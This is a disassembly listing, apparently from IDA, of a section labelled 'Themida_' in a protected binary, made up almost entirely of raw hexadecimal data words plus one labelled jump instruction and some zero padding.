		dd 6EE37250h, 3BB41460h, 0C90794Fh, 1E46D217h, 0F96DC283h
		dd 0DE719D80h, 6050C45Ch, 0E5BB1B00h, 35E9B299h, 0BE80BC45h
		dd 704B9F02h, 9B0B32FCh, 8404B0ACh, 70F7481Dh, 920D7CC0h
		dd 3500D8D6h, 5A8D0633h, 2750118Ch, 8468A023h, 8499C6C4h
		dd 125C7030h, 0F030760h, 207E707Ah, 72EEF3EBh, 0C422B513h
		dd 0D2622C20h, 412C1EFAh, 27D52ACh, 92E8F000h, 0E60038C6h
		dd 0F964CBB6h, 0B00F8EE7h, 907B2402h, 99E300A4h, 5BC9A7EAh
		dd 0C7B6AB07h, 83719F37h, 187298C0h, 0EFC6E600h, 2B2F0F15h
		dd 0BFAB204h, 0A889A547h, 1181C2Eh, 20AE530Eh, 0E6108486h
		dd 0CCE9F519h, 0CB683503h, 66F0CD2Dh, 0B107D7BFh, 2BED2CF6h
		dd 114A92E0h, 0FC625C5Dh, 82B96101h, 87A18E36h,	30630CE9h
		dd 0E0A58420h, 0FD6801ACh, 20BFDD58h, 7B7CCC81h, 5C624Ch
		dd 5551D622h, 521C3923h, 8303D4CAh, 8C3AEA0Eh, 6C2157B0h
		dd 3CBC6D51h, 369A8400h, 0F77C540h, 0EE00A029h,	0A91EA93h
		dd 2450EDB9h, 90DCC2Bh,	2801DDC4h, 102D7BEFh, 0FA778Ch
		dd 5E355043h, 0CE0CB30Eh, 0D9ED7200h, 5D57C49Ch, 2FE37B09h
		dd 9C20C11Eh, 6266B228h, 0F82B48h, 0C63C0D0Eh, 70A3ED6Ah
		dd 0D14A0B6Bh, 48896E7Bh, 301F0C61h, 0B20141E4h, 2C74A6F5h
		dd 22DC9256h, 8F64B6A3h, 0BC864D7Fh, 914C118Bh,	289E3E1Fh
		dd 0C70BB410h, 409450AAh, 0EED8BC60h, 71F2000Bh, 9646510Fh
		dd 98B64E7Eh, 0DD4F1940h, 0D2942C54h, 7BCF04FCh, 6A42402Ch
		dd 3EC0A809h, 0CB00D853h, 0A6D0EA90h, 0C3E1C30Ch, 2B7AD7E1h
		dd 47ACB847h, 5B4D5531h, 46E0930h, 0BE95B412h, 0E01C8293h
		dd 500060D9h, 0A3201F4Bh, 5C0E7684h, 0D280687Eh, 0BF026BFBh
		dd 0CEA67409h, 95E50555h, 7098D4C0h, 7AB30463h,	0C075BF12h
		dd 0C6259770h, 0A257F0C0h, 6FA6C8E4h, 4409709Fh, 6C077051h
		dd 0D0FA7DE9h, 3C1BBC40h, 871D01D2h, 0B9A48B71h, 0F7A77030h
		dd 98985C2Fh, 346AA2Ch,	84F96DF0h, 0E8E8A7A1h, 5B1FAD35h
		dd 6245D2CBh, 988CB2F8h, 0E35F1D97h, 126A4061h,	0FB535617h
		dd 0DA68DD0Eh, 81838236h, 0E07CC22Bh, 753E545Ch, 0E8F6F4A1h
		dd 0B98F00B2h, 0D27CD86Dh, 254B43D1h, 953098h, 0DDD93A8Dh
		dd 71159C6Dh, 70CA1401h, 0C77CB3A7h, 663FB542h,	807400F8h
		dd 0A538478h, 0D139E421h, 0FF4600AFh, 7D933512h, 807C96E3h
		dd 81B81AE0h, 1C12E95Fh, 3CC81970h, 63F00369h, 386D48FEh
		dd 0DC1C6CD9h, 102EF691h, 0C30F909Ah, 0ACE2B2E8h, 0BF2FE003h
		dd 880DD8Eh, 457CF3D8h,	4A4C124h, 4B5E7184h, 0BEF7F080h
		dd 3C60E577h, 9BC882Eh,	0FD43B803h, 7CBF4805h, 997D1359h
		dd 0F82431h, 0B1050C9Ah, 0E41DEC44h, 0E9807429h, 524647B0h
		dd 32D302FDh, 0D259B2DEh, 6A0E8E0h, 8FE7C2Eh, 13AA23Ch
		dd 0E6CC5E34h, 28603E8Dh, 8113839Ch, 4542D80Dh,	730900BAh
		dd 102BB6E8h, 0CD58BFB3h, 21C00B0h, 0F49EF6BCh,	48AD4870h
		dd 2FD65200h, 605BA199h, 0AB009FF0h, 0A64C8359h, 7A280947h
		dd 0B85027ACh, 5303B020h, 5F2704BDh, 23201060h,	0F05802B6h
		dd 0FD264AA6h, 3C81B9E0h, 1C6F2105h, 20009973h,	0C9E86D19h
		dd 985E7Bh, 4B2D24DCh, 498AD68h, 1C20874Bh, 4C2AC79h, 4427A26Ah
		dd 0C108AC7Dh, 0D2E38F0Ch, 9804D2CEh, 5C38000Ch, 0D66B83F4h
		dd 58985FC6h, 208D7F4Bh, 31BC70E1h, 0CB115C4Ch,	0BC720EFBh
		dd 802EE41Ch, 42AC8CCh,	0A4DE192Bh, 0D249805Ch,	0C4185EBEh
		dd 0AC888372h, 98B5244Fh, 4D314064h, 85002DCFh,	83451E5Dh
		dd 97F4644h, 0C2D29DF4h, 0B819A485h, 4BB3DD8h, 1E0F544Bh
		dd 512814C0h, 2DA070D8h, 0ACC486E6h, 7D82FA01h,	4E45072Ch
		dd 7A201DCh, 0B0C753CEh, 82A444E5h, 2C60E618h, 3F2F7FE0h
		dd 0B3B48211h, 0FF8FC05Bh, 8CE904A5h, 0F3D2E843h, 9C214B7Ch
		dd 7ED8ED2Dh, 158B00A1h, 0A9BCD08Eh, 4300D8C1h,	824F6B55h
		dd 0A47035DCh, 6A5804A8h, 88C9D6D4h, 93972374h,	0F7808450h
		dd 9131FEFFh, 584B0F14h, 0F7677D00h, 59001A7Fh,	0D0A1CEF9h
		dd 1DE4E37Ch, 8205FB54h, 0D95BD457h, 1A40B056h,	1E195A6h
		dd 0FE85622Ah, 72F5C452h, 2ECA00C0h, 367CDEDh, 0C08C0539h
		dd 9E8D276h, 10909A4Ch,	0D7037004h, 338AC029h, 0F5D3B92Dh
		dd 24006429h, 55D2E4A0h, 22027F0Bh, 0B46FD8C8h,	7DC44044h
		dd 40118931h, 0D7CA47D8h, 0FC0058F8h, 53F7AA50h, 4849E491h
		dd 8E8908BBh, 0D960D8C8h, 26CB961Ch, 0A7B3B6C0h, 6EDC71h
		dd 0A611559Dh
		dd 474377F3h, 0B19C7800h, 90397210h, 3C6700DDh,	0DBC8A624h
		dd 3A160FE8h, 7CE263C3h, 9E24205Ah, 50381F1Ch, 0CFA193EBh
		dd 89C2E00Ch, 18164825h, 0EA6C8F02h, 0F05E8D0Ah, 0E8290B85h
		dd 0EB07F51Eh, 0D70107F6h, 830979Ch, 829904CBh,	836CDB84h
		dd 45C7E0D0h, 0CB6CA8B2h, 0E04427h, 0BFAD722Dh,	0A8A72E3Fh
		dd 7600AAEEh, 0DE1310AEh, 1ECF592h, 8AE31A3Ah, 0E03B33BCh
		dd 86005126h, 8C4A7A97h, 0A29DAh, 0AF2AC34Bh, 361732BBh
		dd 426BBE07h, 0EA302860h, 60DA714Eh, 9B592952h,	900567Bh
		dd 0D48611EBh, 4057E1h,	84CC7965h, 0CA3F89AEh, 7CEE8CE8h
		dd 5094F406h, 4127DAh, 4F9A3DBCh, 394369EAh, 0E4892607h
		dd 2CA01A90h, 3670C7h, 0E2EC6AD6h, 0A2FC33Ch, 0D09E8500h
		dd 0BBA49283h, 0BD9101D8h, 0FD056A2Ch, 5807CF4Eh, 3308B32Fh
		dd 8000605h, 1FA1E50Eh,	0CDCC1B02h, 72C8180Bh, 100636CEh
		dd 0F4893C99h, 2C770099h, 0B3581D62h, 0F0142E2h, 8683D6B1h
		dd 0A0F7CD61h, 0E40753Bh, 0DC9AA80Dh, 684AB106h, 0FDB2070Ah
		dd 63008DA4h, 75EB48D4h, 798F011h, 0FB511A21h, 90FDD10Eh
		dd 7100E7DFh, 0BE31DB5h, 78B83828h, 73E500DAh, 5CE93E6Bh
		dd 8907E1C7h, 0FED53087h, 6001DF65h, 0CC1F9188h, 643C88FFh
		dd 3BB23B60h, 4259F1B1h, 977CF03Ah, 0FB4E39h, 3E104CA8h
		dd 50BD7917h, 34BA808h,	0BC94A67Fh, 0D8F1B620h,	5CD840B9h
		dd 8B039E0Eh, 42D24798h, 1F318EF3h, 0B9947379h,	40E4A99Fh
		dd 782915BAh, 8A120297h, 10277D3Ch, 2FA90Ch, 58B2E49Eh
		dd 7022B385h, 0D03EFE03h, 0C082FCE6h, 0A84E8326h, 0F4275F0h
		dd 0EC8D012Dh, 0FD410F4Ch, 9240E306h, 293D5Eh, 9A96F266h
		dd 0C551A3BEh, 5CE8700h, 0B5B398Ah, 3870A878h, 0CAA90017h
		dd 888D09B2h, 850021EFh, 0D94A1FE4h, 2BEC42h, 0CB5F4CB4h
		dd 6E83BC5Ah, 50652C00h, 0CC7196FBh, 0C3B80049h, 77F66C10h
		dd 3C0756C8h, 5A90F247h, 0DFD95F60h, 306BFAFDh,	7B4963B4h
		dd 5D00EB7Eh, 8674E488h, 0F10BDE80h, 37C2BBD0h,	0F7295CD6h
		dd 37AE134Ah, 5052CA37h, 0B3FEF2C0h, 0F94D00CEh, 0D96C094h
		dd 7DE40608h, 3B7EDC06h, 30382BE3h, 9E085688h, 0A20044BDh
		dd 0C81B2246h, 1959D2FAh, 6871DD2Ah, 5880F656h,	2847DB08h
		dd 99D5E61Fh, 0DE2981C7h, 0C31114EAh, 97C6AB00h, 8A7D3910h
		dd 0B3B25D1Fh, 0B480B975h, 1AC068D5h, 0B956EA6Fh, 2E40528Eh
		dd 93138096h, 0D634DB0Eh, 4625A360h, 0B3590BC5h, 0C100DE15h
		dd 40AEF8EAh, 0FE4FE48h, 0A17CE646h, 6FBBDF3Ah,	599858C5h
		dd 9B6C88D9h, 7A04A4A0h, 46B95507h, 6691DB19h, 998048B4h
		dd 0C97F24F6h, 7CE49EE5h, 13143605h, 0B900A882h, 0CB819ADBh
		dd 29D4A4A9h, 268C1547h, 7D931D0Ch, 44D50301h, 0DD51D78Eh
		dd 522180C7h, 7557A253h, 0B6880079h, 0B8460ACDh, 50ECD502h
		dd 6934A305h, 8400AC37h, 48B9DF3Eh, 29A8A4DDh, 0CFCAEC2h
		dd 470BEF6h, 0B2A5010Ch, 0DE195Eh, 0B0FE2761h, 7EB4735h
		dd 0EE0012F0h, 0EFE30D0Bh, 76ADCA4Eh, 0C4B0030h, 0B7C905B3h
		dd 0DF0B8EDAh, 1077A44h, 43F63132h, 0CFF13C40h,	1263EC8Bh
		dd 1FB9B3E1h, 0B77A2240h, 65DD1004h, 848C2467h,	411C07B1h
		dd 0CFC2B572h, 8D34EAh,	0F263644Ah, 0F00FEE55h,	92D528D0h
		dd 25DF1C4Fh, 0E40EF5F7h, 0EF4386E9h, 0A6780081h, 7322D625h
		dd 0ED025534h, 0CB4B038Fh, 758446D2h, 0DA2A1850h, 44705167h
		dd 2055E131h, 298046B3h, 64455085h, 6B0120E9h, 3C9890C4h
		dd 5A30F71Fh, 65B10166h, 0AB97A112h, 4C229Ch, 6482C296h
		dd 3D2B7D5h, 0B878B544h, 2100289Ch, 41D3585Ch, 8FDCCFh
		dd 6097D84Eh, 89D6628Eh, 0E4297E0Ch, 694699BFh,	5E80D9CAh
		dd 8A2C0206h, 1320FA1Ch, 8BE211C0h, 98B6C9DAh, 0E547442Ch
		dd 70C2C100h, 4666B3C7h, 691D0703h, 44DA47D8h, 0AD10935Bh
		dd 70F541A4h, 0F82002FAh, 0E42819A9h, 8478158h,	347BDDh
		dd 0FF100D24h, 0E1651E32h, 483F62EEh, 0F8D38141h, 55437091h
		dd 8EAD5980h, 669C2CDEh, 0D69F3924h, 29840D1Eh,	82552Fh
		dd 88D8204Fh, 4E03025Eh, 7675A427h, 697D9826h, 17FF1F3Eh
		dd 0C481BC09h, 0B3252EE4h, 0A3398045h, 81E21F50h, 51BC011Bh
		dd 5484AE6Eh, 0FDD3FC8Dh, 9ABBE80Ah, 3E0034B3h,	0ABE98AADh
		dd 9F9D0355h, 5E30620Eh, 67C0B0EFh, 0A6077D88h,	0FA65B8D3h
		dd 43138C6Ah, 49860C30h, 0FCF4155Ch, 42079066h,	477EDABFh
		dd 0DF11D0B6h, 9C061AA2h, 60B284F2h, 1B814879h,	62DB6E04h
		dd 6A8857Ah, 2149B335h,	6678C800h, 8F3F9563h, 30E702F3h
		dd 3ABFA754h, 2818E760h, 134BE101h, 5BA33C61h, 884C5424h
		dd 0FC007FAAh, 3FD727A6h, 62304Eh, 8A5077EFh, 60796152h
		dd 0D53B9C00h, 7FE34947h, 73FD14DEh, 1D1EFCDAh,	95D2007Dh
		dd 3602DC35h, 22FDh, 0F2131237h, 0A4B475A7h, 10E900BCh
		dd 0ED216C6Fh, 0D763568Dh, 0D0E152F4h, 5CD53124h, 8016C543h
		dd 0FD880615h, 89005160h, 8A11C1D7h, 0F4BD50h, 4F689D22h
		dd 0D6649C6Fh, 0E3463D0Fh, 560CC7ECh, 0C3BFE1B0h, 0CE5401EAh
		dd 9D17E44Bh, 13B42253h, 0B700528Fh, 8B36762Eh,	88700710h
		dd 1DBDC22h, 806DFDC9h,	0CA7CB579h, 0EC0B18F8h,	2E1A28DCh
		dd 4B0807E6h, 7FEBA5E5h, 0B3728C62h, 4A365040h,	0D1186A90h
		dd 15712A9Ch, 66CD00B2h, 0BAAD4076h, 5400244Bh,	9236F983h
		dd 39472FC1h, 68C0BE0h,	1E48B257h, 415B9D30h, 1C02807h
		dd 0BDD90F82h, 0C408380Dh, 0FE52690Bh, 0B67200B8h, 0BD52B30Eh
		dd 0DBB80003h, 833B8EABh, 0E4332A4Fh, 0A722295Eh, 42FE9h
		dd 361129D6h, 0E161380h, 448C0050h, 4A238241h, 3B96DC19h
		dd 6EECD7D8h, 0C800764h, 0F0E3F959h, 8415AE12h,	80C4273Dh
		dd 80958E9Dh, 60B305DCh, 0B013615Dh, 0BE06191Eh, 64AFCAF6h
		dd 0DC471689h, 0C3682097h, 10B89308h, 2DEEB0Eh,	0BADD008Dh
		dd 0E33D3330h, 7EE70C20h, 69477282h, 440839BCh,	2783064h
		dd 0C13CA4DBh, 0DF6A00BFh, 8E8C6FE0h, 0A424549Ch, 0EED400E6h
		dd 7135F60Dh, 4712D22Ah, 1FBD09Ah, 552D6096h, 595D60EBh
		dd 35DE2CA0h, 17011972h, 5C47436Ah, 0A030027Eh,	0FEDB078Ch
		dd 0F077FBD5h, 3FD97198h, 3AACF406h, 58D01CE3h,	0C40AA08Fh
		dd 0AC40BFh, 65AC3B34h,	0C058DB47h, 2A22DEB8h, 90D45CFDh
		dd 0CE4A00BBh, 0F001B4A8h, 0D4996D39h, 3A748D80h, 5F23Ch
		dd 6E940396h, 5B02E60Ch, 71D541C0h, 2AF120h, 8BEC4ECDh
		dd 45BA39E1h, 6EFEA0A4h, 0A0589400h, 0F465B0Eh,	3E0E6E4h
		dd 0FD333BA9h, 0C89D6567h, 0FE007ACCh, 0ADC906ABh, 0BA9E8FDAh
		dd 0FBB82444h, 241F0058h, 459186DBh, 0A6F51C04h, 84C084B4h
		dd 2D80C12h, 0B2B19856h, 78C44865h, 0B09BDA06h,	11299Ch
		dd 8FB76F3Eh, 1C4A0697h, 0E5575301h, 6ADD293Ah,	0F447898Ch
		dd 0C9705CC1h, 94770800h, 42EFED74h, 21B3959h, 0C8454E81h
		dd 105BDE29h, 0C0579CACh, 3FA63869h, 3C00D748h,	5B26421Ch
		dd 0C42F4570h, 89C22921h, 2246F1ACh, 98AD1EC4h,	24241714h
		dd 0A05DC20h, 9420FCE4h, 120EB083h, 882B620Ch, 6D786644h
		dd 0B0E49B24h, 603DB201h, 74303BACh, 0FE4B1181h, 0D571005Ch
		dd 0B1EFC414h, 0CC9FA25h, 72E32931h, 7C000C21h,	0ACB73975h
		dd 54438701h, 0A188FBh,	0D3FFE8A9h, 486A651Bh, 0D991BF07h
		dd 0EFD5C40Fh, 0F1D4B430h
		dd 0E1701608h, 343D0090h, 0F8BA419Eh, 32137F12h, 0ECDC0406h
		dd 709C5C59h, 0F9E07E80h, 9E000666h, 0C7393393h, 937A014h
		dd 0CF252822h, 0DD856580h, 62014B26h, 5F200F52h, 0C0F0EFDCh
		dd 0DF4A00B6h, 0E1807F03h, 0D401E29Bh, 7040E52Fh, 7472A36Bh
		dd 0B474F500h, 4767323Fh, 0EB074876h, 931E0945h, 0D6D9C202h
		dd 40E824CDh, 58279132h, 6D004A98h, 0D7A54B7Fh,	940B7866h
		dd 0D372478Ch, 0BB8501A0h, 0EE0DE0Bh, 88EFA018h, 9D4318Ah
		dd 0BB19CF6Ch, 1B2D7880h, 5600F648h, 3832DA8Ch,	0FF7AED6Eh
		dd 2EA44Ch, 0DF8A4117h,	972F266h, 433EEC78h, 0C6699431h
		dd 0F6DE02F0h, 46BE9C83h, 0A5B40040h, 45F5FD46h, 913A6BD7h
		dd 0A9BDB0CFh, 0B01B7h,	0D1B60E18h, 424B6307h, 0DEC82900h
		dd 0D93BF4A8h, 505948FDh, 92D54780h, 4C012810h,	6F99EB3Eh
		dd 4020AB40h, 69358842h, 0FB3438h, 0EF8E9589h, 163F86Eh
		dd 0E3CFF23Fh, 818DF346h, 0F6061B81h, 58409D53h, 2CEAB625h
		dd 198211h, 0DC5C38A0h,	8B0CD5A2h, 292DA39Dh, 263001B5h
		dd 0C60484A0h, 509430F7h, 7580F094h, 0C4403ADEh, 0A70A0110h
		dd 43F4ADB6h, 0CAD048C8h, 2C01D000h, 39E0283Bh,	251DF6CDh
		dd 84A00DE5h, 7A978AE1h, 5446BA07h, 84DAFE78h, 8217C080h
		dd 1C13B3D4h, 498F7Dh, 2E9D3014h, 55025E01h, 0AD0D3D6Ah
		dd 23A4E179h, 0A1E44Ch,	0A09E1D45h, 0A4FBAD4Ch,	1D7113Ch
		dd 0C27E67DAh, 9CC114F5h, 3B033822h, 0E30B17B8h, 37E06DD3h
		dd 7C0F903Eh, 0AD6FCAE1h, 1030295Ch, 5B7900FDh,	67EDCF8h
		dd 0B900DF1Dh, 68E3A709h, 9503DBh, 9885AE71h, 8626CF13h
		dd 0D6F99F00h, 0C00B29EAh, 4C470916h, 781BACA4h, 731FF188h
		dd 372F93Eh, 0F73B097Dh, 0BD9BC0A8h, 97330012h,	0F2DD71B6h
		dd 0D74CC2A3h, 0E60B8744h, 3BD5E3F0h, 95AE013Fh, 9FD7D9BDh
		dd 38E830A4h, 0FD0654FCh, 2648610Fh, 9CB971h, 7F1F7865h
		dd 0EA01EFFCh, 14B7AA9Bh, 0ADD95638h, 2200460h,	7037ACCCh
		dd 0B871583Ch, 0D7874403h, 0D8409DFDh, 0EF71CF68h, 80382C96h
		dd 5EFE607Ch, 491F6B93h, 0A380235Dh, 0BE66AE72h, 31918E7h
		dd 0E4B92964h, 8B22FB03h, 0E8D43685h, 3D81DCh, 2CE63739h
		dd 4749BBCBh, 5F31DD60h, 0D53BB2h, 0ED07192Eh, 0F665BB8Dh
		dd 0FC79BE1Fh, 3C062B03h, 0CC03E52Dh, 0C96E1332h, 0BC39437Bh
		dd 0A495EB02h, 0B0E87A3Fh, 1A0154A3h, 0E33C50B3h, 60329D21h
		dd 0DFC9EE00h, 0DEAAEC42h, 4DA4C701h, 0F198151Bh, 4BE646C0h
		dd 9C0440FDh, 7D1E9583h, 0B2892B8h, 6044D868h, 0C7283BD5h
		dd 24C3E50Bh, 406FE484h, 0F6A413B9h, 0A1C16043h, 0C6FFB0C8h
		dd 140057B8h, 83B467C7h, 2F2D39Ah, 0FDA6DC7Fh, 0BCC12EE2h
		dd 0F6619641h, 88634800h, 96D3C2B9h, 7F0E67ECh,	5318D812h
		dd 11884900h, 0DB1D859Ch, 0D7FB1F7Ah, 1CE90073h, 0BA92B063h
		dd 272F2800h, 438EDC4Ah, 5CD7F07Fh, 98008836h, 407B13BDh
		dd 150146BCh, 7257DA6h,	8C40D211h, 130ADBF2h, 20DF473Dh
		dd 0E393E148h, 16455501h, 890F75E8h, 1704F870h,	2269D529h
		dd 520920Ch, 6F7B51Bh, 46F01096h, 7A3C19EEh, 0D3EB00B7h
		dd 68E82CAFh, 0B0B3EA7Bh, 58F34828h, 47605C22h,	0BEC60A60h
		dd 813A02DDh, 0B3C819C4h, 0A303807Ah, 9AF0E973h, 6CE59825h
		dd 12441667h, 0C07E1EE6h, 3B35F847h, 0BB012306h, 6372D730h
		dd 0C3FCD531h, 52C949Eh, 46C47Bh, 12B6365Ch, 113E94CEh
		dd 1C72225h, 0E23CF01h,	7043AC29h, 0C0E6D09h, 0E071DAC4h
		dd 74F43C3Dh, 2320FF46h, 2A4490DCh, 18C5DE0h, 0C7DFABDEh
		dd 69B38B04h, 59471D40h, 8038980h, 2653586h, 1937F776h
		dd 80C391DAh, 16606EB2h, 9F00FABAh, 0F8DBDE5Ch,	0C0780276h
		dd 0A66F2EC8h, 12026106h, 0B70F1116h, 1464B2h, 0A68D1A78h
		dd 9EC9DF98h, 0F800BE79h, 46A23B38h, 4A20B812h,	81CC419Dh
		dd 0D0C80F21h, 5100446Ch, 0F6B8B27Eh, 106D79Ah,	9FD62D65h
		dd 134DD4C2h, 0E1BEFDh,	81628A2Bh, 0CA6DF176h, 0F50BF4E6h
		dd 8039FDCFh, 50E841CFh, 77490DFh, 0CB195E0Ah, 0F68048D5h
		dd 0D830ACADh, 3C643AB0h, 0DD2BAE83h, 0C2B86B0Fh, 0B091500Ch
		dd 0C064B50Eh, 0D6FE7E14h, 0F7CA054Fh, 0C0DEB3D8h, 324ADF9h
		dd 0A3077D77h, 1DBD019h, 7B991ED0h, 54D50090h, 89B0C149h
		dd 0CA00D971h, 0D660E0C5h, 501A371Bh, 7CF68FEh,	77E54AE7h
		dd 4ED07107h, 44B8DBB3h, 60FCE3B5h, 91E45302h, 640E35DCh
		dd 149E0114h, 0E1F9CEEBh, 56E3CC2Eh, 0A1154407h, 4A2A8DBh
		dd 8E8CD954h, 8F00BBFCh, 1E9DDF27h, 4944E401h, 81D405C3h
		dd 0FA319061h, 3E7FDC20h, 610B85B0h, 6C13513Dh,	0C78FE4C8h
		dd 0B51CB7F8h, 0F4AC0E47h, 21A16540h, 2F5301F4h, 8146CF8h
		dd 0D7ED448h, 77810C9Ch, 656E7C20h, 751C3438h, 4F984EAh
		dd 3B8C850h, 80700B0Ah,	0B900D085h, 230E27E5h, 80D4949Dh
		dd 0AFEC6736h, 4400AACDh, 2C75B8D3h, 0FE7A28h, 0A48858B4h
		dd 0F67946BDh, 1C2DE7h,	0B515D60Fh, 5B7EA0h, 0AF116989h
		dd 19321637h, 29AE8009h, 3BA018DCh, 9AA3BC5h, 0BF83CBFh
		dd 4648A5DBh, 22E25C90h, 101C3Ah, 0EEB30541h, 0B68D30Ah
		dd 47D72A1Dh, 4400E044h, 2960C735h, 6D896Eh, 0EE6CB5C8h
		dd 0C2B23C08h, 0AC01017Bh, 708B144Bh, 2430ECFAh, 165CB0D1h
		dd 3006541Eh, 2325B380h, 0B9A76500h, 16ABD7Ch, 601A003Ah
		dd 7B98BB48h, 0A4989413h, 2E9C11FDh, 0A53A8983h, 9097760Dh
		dd 0B1A8AE4Ch, 9D64AC01h, 0A2EA6113h, 0B225AC38h, 5CFA2020h
		dd 4902188Dh, 0F7587876h, 77506032h, 453400DDh,	0FE63B1E5h
		dd 1FEE43D5h, 26D479EBh, 4009D22h, 3A03B14Ch, 0AE5305CFh
		dd 0E244705Fh, 2DE312C8h, 0CEFF0402h, 18A8C111h, 1F3BB873h
		dd 74C62700h, 0F1806B50h, 3E022500h, 3ADC89B1h,	167F0AE3h
		dd 803C739Bh, 0B502FF71h, 0F0075FF2h, 0F3C81569h, 36241600h
		dd 0B2981892h, 8B9CDAD8h, 0A6001598h, 0C1D5FDDAh, 90A5505Dh
		dd 0DFB7161Ch, 93ECC853h, 2259312Eh, 0ED32003Dh, 6B801A89h
		dd 53F70339h, 3DB65A36h, 9EF04891h, 0EB165F89h,	79928C88h
		dd 7A1A0463h, 405EB377h, 0CC668A44h, 0BA0B0BE7h, 182F58h
		dd 0A00769AAh, 33D89631h, 9879FA80h, 5B5003A7h,	3D2B3C85h
		dd 3C78CDDAh, 0E92845EEh, 312F8562h, 640410F5h,	0AB47014Bh
		dd 85D1C3F7h, 2A8F6039h, 43594F00h, 0CB456E11h,	232B5F64h
		dd 0F5C0E754h, 0AE13E6BEh, 6100C173h, 0E8E5DD44h, 8028992Dh
		dd 5D933A39h, 0C227BED9h, 60CCAAD6h, 0A0AD3400h, 99B32CDCh
		dd 4B090E58h, 0ED05F2E0h, 0E9002099h, 0E41346ACh, 5CD94A21h
		dd 0D52EE104h, 7844493Ch, 0CD108900h, 257C4B67h, 208C0009h
		dd 3D9B50BEh, 0A1A03412h, 0D15F6DB3h, 0A2DCD400h, 2C8DDAh
		dd 0D6CB73Fh, 3C88DB90h, 6432C007h, 15623A10h, 14D1CAh
		dd 0D186BC57h, 0FA005E4Bh, 62E4ABD8h, 0D2EB02h,	1ABA8748h
		dd 0F0DC2BA4h, 0A96EE1BDh, 12A23430h, 21A3ABF6h, 0F0B71A6Ch
		dd 47373521h, 0B6C0C108h, 14E17FF9h, 0D0F6221Ch, 3EDBE5C0h
		dd 0F9FE81ECh, 0B8185101h, 7CBC911Ah, 946ADCCh,	9CBF1342h
		dd 1EF68090h, 0BD0072E6h, 3D854062h, 6BD436h, 7CED6CFEh
		dd 9DF8A052h, 0E8B252h,	7A6A628Bh, 0B889F1h, 0EAA2F51h
		dd 6504BF31h, 2B3CDBE4h, 39005819h, 669609Dh, 0FB0849h
		dd 7ED3D5C3h, 0B02F1CB9h
		dd 8CEBAD3Bh, 614BB3BBh, 0BDFE0054h, 0DE447924h, 59004EC4h
		dd 0DB8ACA1Bh, 7F2ABC2Ch, 0CB218086h, 348DAF4Ah, 382FF8F3h
		dd 792C61A3h, 0E1B559C8h, 6CADE440h, 5F8E923Eh,	0E4329820h
		dd 5ABF0FC2h, 2A620BB8h, 0F4FA94DEh, 0ED023470h, 0E43601DCh
		dd 668D853h, 0FE3B04F8h, 0BE00296Eh, 52B1DA93h,	3383227h
		dd 674210E6h, 6AB2537Ch, 0F6410856h, 2DB9681h, 3D6B7A6h
		dd 4072FDADh, 1F3E2960h, 0C633E5h, 720113C8h, 1075026Dh
		dd 0B5674000h, 71B112E4h, 0DCEF3EAEh, 30C000CCh, 0A4E85417h
		dd 0A7462E02h, 726F70ADh, 5A34FEC0h, 0CCBC0536h, 0FCC20A3h
		dd 7F26C45Dh, 0BD00DBF3h, 94471780h, 6E92128Eh,	0D4DCC907h
		dd 267D0BEFh, 16C38800h, 2ACADF8Dh, 0BA0F1265h,	98B420B2h
		dd 0C300E4E5h, 710DB86h, 0EC571304h, 8F7A01FDh,	0E7C0285Bh
		dd 2B29C0DAh, 0ACB4B577h, 45A0360h, 1B6EA0Dh, 0D866601Ch
		dd 82E466Fh, 0B97244E4h, 3BA14403h, 95B64BBCh, 7B0B7880h
		dd 0AEC230BBh, 0C805A31h, 0F5277C09h, 0E405243h, 0B36F9E08h
		dd 0E0608F49h, 6405333Bh, 68073AC6h, 0E061C8Ch,	0DFABC1E3h
		dd 771423A0h, 960093ECh, 7FBD78D7h, 7414F07h, 80B6D43h
		dd 8007BB31h, 0E8DB31FAh, 81647855h, 70882845h,	0FD7FD084h
		dd 40E8C9FCh, 82616E97h, 0DC5B3Eh, 483AE81Ch, 2A28D3BFh
		dd 127871C7h, 2941EB4h,	8AED2D80h, 13009851h, 37D581A8h
		dd 46C900D6h, 770544F8h, 0B501F51Ah, 0C2609CDAh, 844C94D9h
		dd 15B40033h, 7BB7F610h, 4DF93D70h, 0BE21DAB4h,	6441B2ADh
		dd 0B6C93901h, 0DACC8AE9h, 0CAFE0D94h, 4C214ED6h, 0A601CC68h
		dd 1DB2850Fh, 0C770BB7Fh, 10A30073h, 358C518Dh,	292E9C42h
		dd 17602CD6h, 0BD776Dh,	0C01B63D8h, 0ECF54859h,	48FD6F28h
		dd 8041DA38h, 7BD7202Dh, 14644EF3h, 6C154804h, 0DAE64400h
		dd 7FF17073h, 3C03DC00h, 0D10123D5h, 0B4AA2E05h, 0B2310C18h
		dd 478964E8h, 0CF00F42Dh, 0DED19916h, 7D0F7482h, 299A2FC3h
		dd 7E6050ADh, 0AF1026D2h, 200D02A8h, 0C491AECBh, 2072FDh
		dd 51474E03h, 17139272h, 18A7BC7h, 0A8C2BF5Eh, 31BF55h
		dd 91C42556h, 0C196ECF1h, 0FE196F98h, 95271171h, 2968FA30h
		dd 60B4DBC2h, 337BC0BEh, 0D3393A00h, 410AC52h, 0D232624h
		dd 0F2BB00A8h, 1270E8F4h, 610FE509h, 952C523Dh,	89D8C890h
		dd 8048DA39h, 0B3B7ABF9h, 736AB6ACh, 0D1C218E9h, 0DA472954h
		dd 4C2E2CB9h, 59B09F47h, 321613Ah, 72177D36h, 63B85E4Dh
		dd 1A5CC13h, 0C0F6FFFFh, 0
		db 0
; ---------------------------------------------------------------------------


loc_549A0D:				; CODE XREF: Themida_:loc_4E1265j
					; DATA XREF: Themida_:loc_4E1086o
		jmp	loc_54CF3E
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 5CB50000h, 77E7h, 3 dup(0)
		dd 705D0000h, 0
		dd 21220000h, 1619h, 0Ah dup(0)
		dd 230000h, 58h, 4 dup(0)
		dd 40000h, 0A8690000h, 58h, 5CB50000h, 77E7h, 5	dup(0)
		dd 230000h, 10140054h, 0Eh, 3 dup(0)
		dd 621D0000h, 5Bh, 3 dup(0)
		dd 0CD920000h, 54h, 25060000h, 2 dup(0)
		dd 8D8D0000h, 304EAAFh,	7FFEh, 0Ch dup(0)
		dd 0FF7F0000h, 30403DBh, 7FFEh,	668C0000h, 0A2FA0000h
		dd 30A2h, 7 dup(0)
		dd 705D0000h, 30DF0000h, 0A9C5h, 2 dup(0)
		dd 0A20000h, 0FFBA4EC9h, 0FF53h, 2 dup(0)
		dd 0FDFE0000h, 0F3FFh, 0
		dd 5E2E0000h, 727300A2h, 312h, 0CD920000h, 54h,	65520000h
